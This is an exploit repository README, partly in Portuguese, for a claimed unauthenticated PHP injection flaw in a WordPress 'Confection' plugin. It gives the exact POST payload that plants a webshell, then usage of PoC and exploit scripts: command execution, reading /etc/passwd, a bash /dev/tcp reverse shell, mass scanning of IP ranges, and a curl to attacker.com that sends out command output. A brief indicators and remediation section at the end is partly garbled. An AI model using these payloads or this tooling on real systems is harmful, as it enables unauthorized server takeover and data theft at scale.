CVE-2026-115252 - WordPress Confection Plugin PHP Code Injection RCE | CVSS 10.0 | By Gh0st-Bx1
DISCLAIMER: This repository was created exclusively for educational and security research purposes. The use of these tools against systems without prior express written authorization is illegal. The author is not responsible for any misuse of this material.
| Campo | Detalhe |
|---|---|
| CVE | CVE-2026-115252 |
| Apelido | WP-Ghost |
| Tipo | PHP Code Injection via Missing Authorization (CWE-862 + CWE-94) |
| CVSS | 10.0 Critical (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) |
| Componente | WordPress Confection Plugin - endpoint confection_save_settings |
| Vetores | POST para admin-ajax.php sem autenticacao |
| Autenticacao | Nao requerida (unauthenticated) |
| Afeta | WordPress Confection Plugin versoes 0.4.0 a 0.4.7 |
| Corrigido | Confection Plugin >= 0.4.8 |
| Divulgado | Novembro 2026 |
The Confection plugin for WordPress (versions 0.4.0 to 0.4.7) registers the
wp_ajax_nopriv_confection_save_settings hook, which is accessible without authentication via
admin-ajax.php. The handler saves the value of the confection_code field directly into
the plugin's conf.php file without validating capability or nonce.
An attacker without any credentials can inject arbitrary PHP that is written to disk
and executed on any subsequent request to the conf.php file.
1. Plugin registra hook wp_ajax_nopriv_confection_save_settings
(acessivel SEM autenticacao via admin-ajax.php)
2. Handler salva confection_code em conf.php sem validar nonce nem capability
3. Atacante POST para /wp-admin/admin-ajax.php:
action=confection_save_settings&confection_code=<?php system($_GET['cmd']); ?>
4. PHP gravado em: /wp-content/plugins/confection/includes/conf.php
5. Atacante acessa conf.php?cmd=id e obtem RCE como www-data/apache
Attack flow:
Atacante --> POST /wp-admin/admin-ajax.php
action=confection_save_settings
confection_code=<?php system($_GET["ghost"]); ?>
|
Plugin grava PHP em conf.php (sem validar auth)
|
Atacante --> GET /wp-content/plugins/confection/includes/conf.php?ghost=id
|
RCE como processo do servidor web (www-data)
| Plugin Version | Status |
|---|---|
| 0.4.0 - 0.4.7 | Vulnerable (no auth verification) |
| >= 0.4.8 | Fixed |
cve-2026-115252/
poc.py Verifica plugin e injeta webshell de teste
exploit.py Exploit completo: reverse shell, scan em massa
README.md Este arquivo
python poc.py --url http://alvo.com --check
python poc.py --url http://alvo.com --cmd "id"
python poc.py --url http://alvo.com --cmd "cat /etc/passwd"
python exploit.py --url http://alvo.com --cmd "id; whoami; hostname"
# Terminal 1 (listener integrado):
python exploit.py --url http://alvo.com --reverse-shell --lhost 192.168.1.10 --lport 4444
# Manual com nc:
nc -lvnp 4444
python exploit.py --url http://alvo.com \
--cmd "bash -c 'bash -i >& /dev/tcp/192.168.1.10/4444 0>&1'"
# Scan de CIDR
python exploit.py --scan 10.0.0.0/24 --threads 30
# Scan de arquivo
python exploit.py --scan alvos.txt --cmd "id"
# Scan + explorar todos os vulneraveis
python exploit.py --scan 10.0.0.0/24 --cmd "curl http://attacker.com/`id`"
--url URL base do WordPress (ex: http://alvo.com)
--cmd Comando a executar (default: id)
--token Parametro da webshell (default: ghost)
--check Apenas verifica o plugin (sem injecao)
--silent Suprime o banner
--url URL do WordPress alvo
--scan CIDR, range IP ou arquivo para scan em massa
--cmd Comando a executar
--token Parametro da webshell (default: ghost)
--reverse-shell Lanca reverse shell com listener integrado
--lhost IP para receber reverse shell
--lport Porta para reverse shell (default: 4444)
--threads Threads para scan (default: 20)
--silent Suprime o banner
| Indicator | Description |
|---|---|
Unauthenticated POST to /wp-admin/admin-ajax.php | Exploitation attempt |
PHP content in conf.php (Confection plugin) | Injected webshell |
GET request to conf.php with parameters | Webshell execution |
| Unexpected outbound connection from the web server | Active reverse shell |
Remediation:
conf.php for malicious PHP contentadmin-ajax.php with action=confection_save_settingsBy Gh0st-Bx1 | https://github.com/Ghost-Bx1